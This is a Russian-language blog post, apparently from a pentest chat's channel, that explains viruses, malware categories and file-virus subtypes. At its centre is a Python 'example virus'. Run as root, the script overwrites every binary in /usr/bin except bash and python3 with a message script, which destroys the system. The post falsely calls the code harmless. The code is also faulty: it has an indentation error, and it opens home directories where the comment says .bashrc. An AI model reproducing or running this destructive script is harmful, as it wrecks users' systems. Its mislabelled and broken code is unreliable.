Вредоносное ПО. Часть первая: файловые вирусы.

Вредоносное ПО. Часть первая: файловые вирусы.

ק𝕮𝖔𝖇𝖗𝖗𝖗𝖆§×, Liberte

🐍Добрый день, Дамы и Господа, сегодня разберём тему компьютерной вирусологии.🐍

Так что же такое вирус? Это один из видов ВПО (Вредоносное Программное Обеспечение), который способен не только создавать копии самого себя, но так же может самопроизвольно внедрятся в код других программ, системные области памяти, загрузочные сектора жесткого диска и распространяться по разнообразным каналам связи, при этом производится повреждение/разрушение каталогов и системных файлов. Различаются резидентные и нерезидентные вирусы.

Резидентные вирусы — этот тип имеет свойство оставаться в памяти, постоянно следить за системой и перемещаться по ней, за счёт чего их крайне трудно обнаружить (данный тип применим только к MS-DOS системам).

Нерезидентные способны лишь на разовое осуществление поиска, после чего управление передается к новому зараженному объекту (файлу, приложению).

Теперь рассмотрим существующие виды ВПО.

Список наиболее распространённого и популярного ВПО:

  • Вирусы;
  • Черви/NetWore;
  • Трояны;
  • Рекламные закладки/Adware;
  • Ботнет;
  • Шпионские программы/Spyware;
  • Клавиатурный шпион/Key Logger;
  • Логическая бомба;
  • Скрытые индикаторы;
  • Зомби компьютер;
  • Руткит/Rootkit;
  • Drive-by-Download;
  • Scareware/Ransomware.

Теперь рассмотрим классификацию компьютерных вирусов:

  1. Файловые вирусы;
  2. Загрузочные;
  3. Сетевые;
  4. Макровирусы;
  5. Файлово-загрузочные.

Файловые вирусы. Стоило первым компьютерам стать хоть сколько-нибудь массовыми, тогда, сразу же, и появился данный тип ВПО. Из названия понятно, что под прицел для инфицирования попадали любые файлы: .exe, .bat, .sys и т.д. Такой файловый паразит внедряет свой код в тело файла (это может быть начало, середина или конец) и получает полный доступ; восстанавливает в оперативной памяти исходный процесс и продолжает путешествие по системе с целью дальнейшего заражения.

Каков же принцип работы данного вируса? Как уже было сказано, сперва происходит внедрение кода в ПО или файл. После запуска заражённой программы/файла вирус закрепляется в памяти с помощью резидентных модулей, получает управление и ищет другие объекты для заражения. Посмотрим на пример ниже:

import os
# Импортируем библиотеку os для работы с системой.

if os.popen("whoami").read().strip() != "root".strip():
    print("Запустите программу от рута.")
    quit()
# Проверяем выход команды "whoami". Если программа запущена от рута — продолжаем, если нет — просим пользователя запустить с рутом(sudo) и выходим из программы.

binaries = os.popen("ls /usr/bin/").read().split()
# Получаем список бинарников.

users = os.popen("ls /home").read().split()
# Получаем список пользователей.

if "lost+found" in users:
    users.remove("lost+found")
# Удаляем из списка пользователей каталог "lost+found"

binaries.remove(
    "bash"
)
binaries.remove(
    "python3"
)
# Удаляем из списка бинарники bash и python. Они необходимы для работы вируса, программа их проигнорирует.

for binary in binaries:
    bin = open(f"/usr/bin/{binary}", "w")
    bin.write("""
            #!/usr/bin/bash
            echo "Мотылек скушал твою систему!"
            """)
        bin.close()
# Теперь некоторые команды(ls, mv, cp, firefox) будут выводить наше веселое сообщение.

for user in users:
    bashrc = open(f"/home/{user}", "a+")
    bashrc.write("""
        #!/usr/bin/bash
        echo 'Мотылек скушал твою систему!'
        """)
    bashrc.close()
# Редактируем у всех пользователей файл .bashrc, отвечающий за поведение командной оболочки.

Как видно из комментариев, данный код заменяет содержание бинарников в /usr/bin/, а также в .bashrc на выводимое (в т.ч. и при открытие терминала) сообщение «Твою систему скушал мотылек». Данный пример безобиден, но принцип работы должен быть понятен.

Так же не забываем, что у файлового вируса есть классы и подтипы:

  • Перезаписывающие;
  • Компаньоны;
  • Черви.

Перезаписывающие: запись собственного кода вместо кода программы (только что это рассматривали), не изменяя названия исполняемого файла. В следствии этого программа просто перестаёт исполняться, а вместо этого запускает вирусный сценарий. Такие вирусы могут поражать не только исходный код, но и отдельные компоненты (.obj*, .lib, .dcu файлы), так же VCL и ActiveX компоненты.

*.obj, .lib — вирусы только записывают в эти файлы код, он становится неработоспособным для распространения, поэтому для распространения заражаются .com и .exe файлы, далее происходит «линковка» с неработоспособным файлом, с другими библиотеками и модулями. В конечном итоге получается работоспособный вирус.

Компаньоны: идентично; только, в отличие от предыдущего типа, не удаляют оригинальный файл, а перемещают/переименовывают его . Так же сначала идёт выполнение вирусного кода, но после управление передаётся оригинальной программе. PATH-компаньоны размещают свои копии в основном каталоге Windows, так как он является самым первым и в нём будет происходить поиск для запуска.

Черви: создаёт копии самого себя (в т.ч. и по сети), может маскироваться под картинку, видео или даже программу — под любой полезный файл. Записывает копии в различные архивы (.zip, .rar, .arj и т.д.). Иногда характерен снижением производительности, но в большинстве своём старается распространиться и остаться незамеченным.


Вот и всё. Сегодня мы разобрали: что такое вирус, какими бывают вирусы, что такое файловый вирус и как он устроен, рассмотрели пример на языке Python и немного погрузились в теорию. В следующих частях будут рассмотрены другие классификации, а пока, если хотите узнать больше или хотите научиться писать вирусы самостоятельно, можете обратиться к интересной литературе.



P.S. SHADOW REFLECTIONS🐍.

Наш пентест-чат. Обмен знаниями и общение.



Интересный факт: к 1990 году было известно около 50 вирусов, в конце 90-х их число возросло до 48.000.

Report Page